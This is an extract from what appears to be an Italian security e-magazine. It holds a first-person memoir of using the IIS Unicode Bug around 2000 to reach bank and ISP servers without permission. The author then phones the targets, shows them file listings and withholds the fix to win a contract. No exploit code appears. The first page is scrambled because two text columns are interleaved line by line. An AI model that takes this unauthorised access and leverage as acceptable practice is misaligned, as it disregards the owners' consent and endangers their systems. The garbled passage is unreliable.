Ho riscontrato una vulnerabilità nel vostro server
La telefonata alla Banca Popolare di www.banca121.it che mi permette di avere accesso a
Milano tutto l'hard disk della macchina (come sotto potete
ben vedere). Ho cercato di contattarvi
telefonicamente ma non ha mai risposto nessuno al
Abbastanza spaventato da quello che avevo fatto,
num [omissis], per questo vi invio un fax. Vogliate
ebbi la grande idea di non chiamare il successivo
cortesemente scaricare ed installare la patch dal
contatto da casa mia…ma dall'ufficio di mio papà!
seguente URL:
Questa volta mi rispose un uomo che a suo dire era il
diretto responsabile del server www.webank.it e non
http://www.microsoft.com/technet/security/bullettin/
credeva ad una sola parola di quello che gli stavo
ms00-078.asp
dicendo. A questo punto cominciai a fargli i nomi delle
directory presenti nel volume C e dei file contenuti –
In caso di contatto il mio numero personale è
“Io da qui vedo che avete installato Oracle. Ma che ve
[omissis]
ne fate di WebSphere se avete già IIS? Nella
directory certificati avete poi in bella vista le chiavi
Spero che risolviate subito il problema.
pubbliche e private dei certificati X509 che utilizzate
Distinti Saluti
per cifrare le connessioni SSL”. E poi ancora - “Senta
[omissis]
ma che razza di cartella è WWW spero da
cancellare!!! presente nella root del volume C?”. Mi
Oltre a questa scritta rigorosamente a penna, nel fax
accorsi che avevo assunto un tono forse troppo
riportavo l'output di un “dir c:\” e del contenuto
altezzoso. Ero stato infastidito dal fatto che quella
d e l l a d i r e c t o r y
persona non avesse creduto alle mie parole. Dopo
“\Inetpub\banca121\password”. Passarono
svariati secondi di buio totale (il tizio al telefono era
esattamente dieci minuti netti e fui subito contattato
nel frattempo rimasto mestamente in silenzio) gli
dal signor Arnesano che si presentò come il
spiegai come risolvere il problema. Anche lui si segnò
responsabile delle infrastrutture informatiche di
il link della patch e si congedò con un saluto ancora
Banca 121. Lui ringraziandomi cominciò a chiedermi
più freddo di quello che mi era stato rivolto dal tecnico
se lavoravo con partita iva (io ancora non avevo
della Banca di Roma. Abbassata la cornetta del
nemmeno idea di che cosa fosse esattamente) ed
telefono capì che probabilmente la polizia postale
eventualmente di fargli un'offerta per la fornitura di
sarebbe presto andata a cercarmi anche nell'ufficio di
servizi di sicurezza che avrebbe rigirato e sottoposto
mio padre.
per una valutazione ai suoi superiori. Si mostrò molto
disponibile con me, ma io non seppi approfittare
La telefonata a Banca121
adeguatamente di questa sua disponibilità ed alla
fine non riuscì a concludere alcun accordo.
Il terzo contatto non avvenne né dal telefono di casa,
né da quello dell'ufficio di mio padre, bensì dal mio
Tirando le somme…
cellulare. In realtà fui io questa volta a ricevere la
chiamata dal responsabile delle infrastrutture
Strano a dirsi, nessuno delle tre banche che contattai
informatiche di Banca121. In quei giorni infatti al
sporse mai denuncia. A volte mi piace credere che il
numero di telefono della sede bancaria registrato nel
buon senso da parte delle persone ascoltate al
database del NIC non rispondeva nessuno. Dopo
telefono abbia prevalso e che le loro colpe per non
svariati tentativi decisi quindi di inviare il seguente
aver aggiornato i sistemi che gestivano fossero

57
LA VERA STORIA
Racconti dall’ underground DELL’ UNICODE BUG

probabilmente più grandi delle mie che avevo cercato d'affari come ISP li aveva visti costretti a cercare
di ottenere un lavoro in un modo così abietto. Ma alla fortuna verso altri lidi e svolgere quindi consulenze
fine questo benedetto lavoro arrivò comunque. Non extra presso i pochi clienti che avevano. Questo li
era proprio quello che mi aspettavo ma fu quello che portava a trascurare la sicurezza delle loro
diede il “la” alla mia indipendenza economica infrastrutture informatiche. Dopo tali dichiarazioni
definitiva. Era l'aprile del 2001. A gennaio avevo pensai tra me e me di essere capitato nell'azienda più
svolto la visita militare ed ero risultato idoneo. squattrinata della mia città. Alla fine, dopo una cena a
Attendevo quindi di essere chiamato per la leva nei base di hamburger e patatine (il meglio che un
mesi successivi. Il lavoro dicevo…lo ottenni diciannovenne in quel momento potesse desiderare),
ricalcando la metodologia già adottata sei mesi il responsabile commerciale mi offrì un contratto a
prima. Questa volta però invece di puntare alle progetto di un milione di lire. L'obiettivo era quello di
banche, puntai agli Internet Service Provider della creare una intranet (fino a quel momento ogni client
mia città. Da ottobre erano ancora in pochi quelli che era dotato di un indirizzo IP pubblico raggiungibile
avevano installato la patch contro l'IIS Unicode Bug direttamente da Internet), una zona demilitarizzata
ed i provider locali probabilmente erano gli ultimi della per i server, installare un firewall e configurare i nuovi
classifica. Presi contatti con alcuni di questi servizi DNS e di posta, possibilmente più sicuri dei
intenzionato ad illustrare il problema ma a non fornire precedenti che nel frattempo erano diventati il covo di
alcun accenno sul come risolverlo se non fossi hacker maltesi. Terminai il progetto in un mese
riuscito a concretizzare queste nuove occasioni. Al scarso. Successivamente, a seguito di una nuova
telefono mi risposero sempre le ragazze che esperienza lavorativa romana durata poco più di 12
svolgevano i servizi di segreteria. Spiegai loro alla mesi (dal settembre 2001 all'ottobre 2002),
bella e meglio la questione e dissi di farmi richiamare quell'azienda sarebbe diventata la mia “fucina di
dai responsabili aziendali. Nessuno lo fece. Alla fine, formazione professionale” (in pratica laboratori e
qualche giorno dopo, mi decisi a prendere l'auto e sistemi gratis per svolgere test di ogni tipo) per ben tre
recarmi di persona nel provider più vicino a casa mia. anni. Questo prima di realizzare che i consulenti con
Quando mi presentai davanti alla loro porta e spiegai partita iva guadagnavano molto di più degli
il problema mi fecero parlare con il responsabile apprendisti a tempo determinato, la tipologia di
tecnico, l'ingegner Blanco. Dopo una breve contratto che fino a quel momento loro erano stati
spiegazione mi sembrarono tutti quanti più titubanti di capaci di offrirmi.
prima perciò chiesi loro di darmi un computer. Mi
sedetti in una delle postazioni dell'ufficio e gli Per la cronaca, non ho mai svolto il servizio di leva,
dimostrai quello che potevo fare, mostrandogli come ricevendo il congedo nel tardo 2003. Non chiedetemi
potessi accedere in modo semplice ai loro server. Le come ho fatto però…
persone che avevo di fronte erano giovani come me,
al massimo di tre/otto anni più grandi e si mostrarono I worm e gli arresti
entusiasti delle capacità che avevo espresso. In
realtà parlavo con gente che fino a quel momento In termini di diffusione l'Unicode Bug può essere
correlava la parola sicurezza alla protezione civile, considerata senza alcun dubbio la vulnerabilità più
pertanto i loro complimenti erano un po' come quelli di eclatante nella storia informatica dei web server,
un bambino che guarda per la prima volta un gioco di forse quella che addirittura, sfruttata da worm come
prestigio, ma ne rimasi ugualmente felice. L'unico un Nimda e CodeRed (che nei tre/quattro anni
po' più perplesso e rimasto sulle difensive rispetto agli successivi infettarono centinaia di migliaia di PC) è
altri era proprio l'ingegner Blanco. Infondo era lui che stata, in termini di tempo, la più duratura di qualunque
avrebbe dovuto svolgere il ruolo di sistemista in altra sino ad oggi mai esistita. Il 24 settembre 2001,
azienda, ma mi confessarono che lo scarso giro quasi un anno dopo dalla scoperta della falla, il

58
LA VERA STORIA
Racconti dall’ underground DELL’ UNICODE BUG

portale di informazione e notizie online “Punto Ma che cosa avevano fatto esattamente di così
Informatico” riportò le dichiarazioni di alcuni esperti eclatante questi ragazzi? Avevano semplicemente
che definirono Nimda come il virus “a più veloce bucato alcune decine di web server con una
diffusione mai apparso su Internet”. Erano passati 11 vulnerabilità ancora molto in voga ai tempi (appunto
mesi e solo poche decine di migliaia di server web l'Unicode Bug), già nota da più di un anno e per giunta
avevano installato la patch del sito Microsoft non scoperta da loro. Tra questi web server ve ne
disponibile sin dall'agosto del 2000. erano alcuni della FAO, del CNR, del Ministero della
Salute. Uno era addirittura della NASA. I giornali
Quando fu chiaro che l'Unicode Bug rappresentava tuonarono per questo scandalo ed il Maurizio
una grossissima minaccia, appunto solo dopo Costanzo Show fece seguito. Tutti si dimenticarono di
l'avvento di famelici worm, cominciarono anche a dire però che quel serverino dell'agenzia spaziale
scattare le prime manette. Alcuni minorenni che americana, mezzo isolato, era stato dimenticato dai
componevano il fantomatico gruppo hacker Hi Tech sistemisti, il che faceva capire quale importanza
Hate Crew dedito principalmente al defacement, ricoprisse realmente per la National Aeronautics and
ovvero alla modifica al fine di scherno della pagina Space Administration. Si trattava in realtà di un server
principale dei siti web di mezzo mondo, si resero di quart'ordine, prossimo alla dismissione. Insomma
protagonisti di alcune azioni incaute, sfruttando le una colossale balla, gonfiata ad arte allo stesso modo
informazioni divulgate pubblicamente da Rain Forest di come nei mesi precedenti si era narrato nei giornali
Puppy il 17 ottobre del 2000. Sono sempre stato italiani di fantomatici hacker sardi che rubavano dati
contrario alla full-disclosure dei dettagli dell'Unicode dai computer delle loro vittime sfruttando programmi
Bug (e vedendo gli effetti prodotti con il senno del poi “professionali” come Netbus o BackOrifice.
continuo ad esserlo tutt'oggi) ma ripensandoci bene
probabilmente se non l'avesse fatto lui, qualcun altro Penso che quello che mi ha differenziato rispetto ai
avrebbe divulgato poco dopo la notizia al suo posto. Il ragazzi dell'Hi Tech Hate Crew è stato probabilmente
grosso evento si era infatti già verificato con quel il rifiutare lo strumento del defacement come mezzo
primo messaggio anonimo nel forum di Packetstorm. per mettermi in luce. E se oggi sono qui a poter
Il resto sarebbe comunque venuto da sé. raccontare di non aver mai ricevuto una visita della
guardia di finanza, è forse perché mi rendevo conto
I ragazzi italiani arrestati dell'Hi Tech Hate Crew che con certe azioni potevo magari danneggiare
divennero quasi immediatamente celebri, ottenendo qualche povero cristo che portava a casa la pagnotta
gran parte della loro fama grazie alle balle sparate dai facendo il sistemista Windows, mentre
media e giungendo addirittura ad essere “lodati” al probabilmente fino a poco tempo prima faceva il
Maurizio Costanzo Show che dedicò alla loro storia programmatore RPG[4] in un'azienda fallita.
più di una puntata. Il tenente colonnello della guardia
di Finanza Umberto Rapetto, l'attuale responsabile Tutto questo accadeva appena un anno e mezzo
del Gruppo Anticrimine Tecnologico, giunse a prima di conoscere quella splendida ragazza che poi
dichiarare che si trattava “di persone con un profilo sarebbe diventata mia moglie.
tecnico avanzato ed assolutamente al di sopra della
norma” pur la giovanissima età, che la loro cattura era
stata propiziata solo grazie alle competenze dei
professionisti che componevano il suo gruppo e che
si stava lavorando a stretto giro per mettere le
profonde conoscenze informatiche della crew a
[4] Linguaggio di programmazione nativo della piattaforma IBM
disposizione delle forze dell'ordine.
oggi conosciuta come iSeries o System i ed in passato meglio
nota come AS/400.

59
S
ecurity System rispetta le idee di tutte le correnti di pensiero che muovono il settore
dell'Information Technology, sia quella open source che quella contrapposta del
closed source e le relative che da ciascuna di esse derivano. Gli articoli della rivista
non sono firmati dagli autori, in quanto la responsabilità sui contenuti viene egualmente
condivisa da tutti i membri attraverso attività incrociate di revisione, pertanto sono da
considerarsi frutto dell'intero staff che compone la redazione.

La rivista è a pagamento, comunque ciascun numero dopo 120 giorni dalla pubblicazione
viene reso gratuitamente disponibile a tutti gli utenti.

Trattandosi di una rivista elettronica, non possiamo in alcun modo evitare che copie di
Security System non regolarmente acquistate dal sito possano circolare tra gli utenti della
rete. E' bene però considerare che la rivista è frutto dello sforzo di persone che intendono
vedere il loro lavoro riconosciuto e gratificato sotto il profilo economico e che non intendono
sostenere e far crescere un progetto che non vede rispettati questi principi. Se pertanto hai
tra la mani un numero di Security System ottenuto attraverso P2P, ftp, siti che non siano
questo o che ti è stato inviato da un amico, ma volessi ugualmente premiarci ed incoraggiarci
per il lavoro svolto, acquistalo regolarmente come indicato nel sito http://www.segfault.it. o
fai una donazione libera. Ciò ci permetterà di dedicarci a tempo pieno nel progetto,
espandendolo e migliorandolo nel tempo.

Ti ricordiamo inoltre che per qualsiasi suggerimento in merito alla grafica, ai contenuti o altro
inerente la rivista puoi contattarci all'indirizzo parlalarete@segfault.it. Puoi anche inviarci
consigli sugli argomenti che vorresti vedere pubblicati nel prossimo numero. Vi aspettiamo
numerosi!

Security System Staff

Vous aimerez peut-être aussi